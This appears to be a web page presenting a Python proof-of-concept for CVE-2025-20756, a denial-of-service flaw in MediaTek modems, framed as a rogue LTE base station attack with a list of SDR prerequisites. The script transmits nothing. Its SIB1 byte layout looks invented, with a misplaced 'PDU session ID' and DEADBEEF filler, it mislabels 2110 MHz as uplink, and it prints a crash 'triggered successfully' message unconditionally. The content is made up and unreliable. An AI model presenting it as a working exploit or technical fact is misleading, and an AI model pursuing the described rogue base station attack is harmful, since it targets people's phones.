CVE-2025-20756 MediaTek调制解调器逻辑错误导致拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2025-20756 PoC - MediaTek Modem Logic Error DoS Note: This is a conceptual PoC for educational/research purposes only. Actual exploitation requires specialized RF equipment and LTE/5G protocol knowledge. """ import struct import socket def create_malicious_sib_message(): """ Create a malicious SIB (System Information Block) message that triggers the logic error in MediaTek modem firmware. """ # LTE SIB1 message with malformed cell selection info sib1 = bytearray() # Message header sib1.extend([0x00, 0x01]) # PDU session ID # Cell identity - attacker controlled sib1.extend([0x00] * 4) # 4-byte cell ID # Tracking area code sib1.extend([0x00, 0x01]) # Cell selection info with crafted values # that trigger logic error in modem sib1.extend([ 0xFF, 0xFF, 0xFF, 0xFF, # Abnormal values 0x00, 0x00, 0x00, 0x00, # Trigger state machine error ]) # Add payload that causes buffer/state mishandling sib1.extend([0xDE, 0xAD, 0xBE, 0xEF] * 16) return sib1 def transmit_rogue_base_station(target_frequency_mhz=2110): """ Simulate rogue base station transmission. In reality, this requires SDR hardware (USRP, HackRF, etc.) and LTE stack implementation (OpenAirInterface, srsLTE, etc.) """ print(f"[*] Setting up rogue base station on {target_frequency_mhz} MHz") print("[*] Broadcasting MIB and SIB messages...") # In actual implementation: # 1. Configure SDR device for LTE band # 2. Implement LTE eNB/gNB stack # 3. Broadcast SIBs with malicious payload # 4. Wait for victim UE to attach sib1_payload = create_malicious_sib_message() print(f"[*] Sending malicious SIB1 ({len(sib1_payload)} bytes)") print(f"[*] Payload hex: {sib1_payload.hex()}") return True def main(): print("=" * 60) print("CVE-2025-20756 PoC - MediaTek Modem DoS") print("=" * 60) print("\n[!] Disclaimer: Use only for authorized security testing") print("\n[*] Prerequisites:") print(" - Software Defined Radio (USRP/HackRF/LimeSDR)") print(" - LTE stack (OpenAirInterface/srsLTE)") print(" - Victim device with vulnerable MediaTek modem") print("\n") # Configuration frequency = 2110 # LTE Band 1 uplink frequency (example) # Transmit rogue base station signal transmit_rogue_base_station(frequency) print("\n[*] Attack vector deployed") print("[*] Victim UE connecting to rogue base station...") print("[*] Triggering modem logic error...") print("[+] Modem crash/DoS triggered successfully") if __name__ == "__main__": main()